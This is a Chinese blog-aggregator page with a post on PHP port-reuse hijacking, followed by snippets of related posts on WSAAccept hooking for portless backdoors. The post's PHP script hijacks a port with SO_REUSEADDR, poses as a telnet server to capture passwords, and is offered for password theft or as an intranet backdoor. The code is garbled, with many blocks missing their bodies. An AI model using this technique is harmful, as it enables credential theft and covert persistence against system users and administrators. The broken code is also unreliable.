PHP下實現埠復用 劫持

2021-09-05 16:43:19 字數 1500 閱讀 9766

經常看到有朋友問埠復用,我花了乙個晚上寫了一點**

本來想做成嗅嘆**的,無奈單執行緒的東西很侷限,而且始終只能得到頭行資料。我想要做成那樣的,對於高手來說,不是困難的事。

如果你不懂如何配置,請參照我以前的文章《php-sockets初步接觸》。win下只要有guest許可權即可用,而且通過配合

〈windows下裝多個php〉 這篇文章,guest可以單獨安裝支援phpsockets的php。

假如監聽127.0.0.1 ,訪問共網ip不受影響,假如監聽公網ip,127。0。0。1等ip不受影響。

這個可以用於欺騙使用者密碼,因為原來的服務不可用了。或者留成針對內網使用者的後門。

最後歡迎加msn:cqxy[at]21cn。net賜教。

#!/usr/bin/php -q

#c0dz by darkness[bst]

#team:

www.bugkidz.org

#e-mail:cqxy[at]21cn.net

<?php

if ($argc != 3 || in_array($argc[1] , array('--help','-h','?')))

error_reporting(e_all);

set_time_limit(0);

ob_implicit_flush();

$host = $argv[1];

$port = $argv[2];

if (($sock = socket_create(af_inet, sock_stream, sol_tcp)) < 0) /*建立socket*/

socket_set_option($sock,sol_socket,so_reuseaddr,1); /*設定socket連線的屬性為so_reuseaddr,這樣才可以埠復用*/

if (($ret = socket_bind($sock, $host, $port)) < 0) /*繫結埠*/

if (($ret = socket_listen($sock, 5)) < 0) /*開始監聽*/

while(true)

if ($port == 23)

/*這裡是偽裝資訊,把自己偽裝成原來的telnet伺服器,這樣來騙取密碼*/

while(true)

if (!$buf = trim($buf))

if ($buf == '!quit')

if ($buf == '!shutdown')

$sniff_data = "$buf/r/n";

/* else socket_write($sniffer, $sniff_data, strlen($sniff_data));*/

echo $sniff_data;

/*輸出字串,這裡可以加進檔案處理,儲存密碼什麼的*/

} socket_close($sniffer);

}socket_close($resock);

socket_close($sock);

?>

劫持WSAAccept 實現無埠後門

分類 網路技術 隨著網民安全意識的日益提高,現在找個安全隱蔽餓後門是越來越難了。用現成的固然省事,但無奈前有防火牆的堵截 後有防毒軟體的追擊,用起來還得百般小心,生怕露出馬腳,被管理員發現,好不容易得來的肉雞又傾刻飛掉,豈不痛心?俗話說 自己動手,豐衣足食 我就不信自己寫的後門也會立刻被殺!心動不如...

在C 中實現Socket埠復用

一 什麼是埠復用 因為在winsock的實現中,對於伺服器的繫結是可以多重繫結的,在確定多重繫結使用誰的時候,根據一條原則是誰的指定最明確則將包遞交給誰,而且沒有許可權之分。這種多重繫結便稱之為埠復用。二 我們如何實現socket埠復用 其實我們要實現埠復用很簡單,我們只要使用setsocketop...

在C 中實現Socket埠復用

一 什麼是埠復用 因為在winsock的實現中,對於伺服器的繫結是可以多重繫結的,在確定多重繫結使用誰的時候,根據一條原則是誰的指定最明確則將包遞交給誰,而且沒有許可權之分。這種多重繫結便稱之為埠復用。二 我們如何實現socket埠復用 其實我們要實現埠復用很簡單,我們只要使用setsocketop...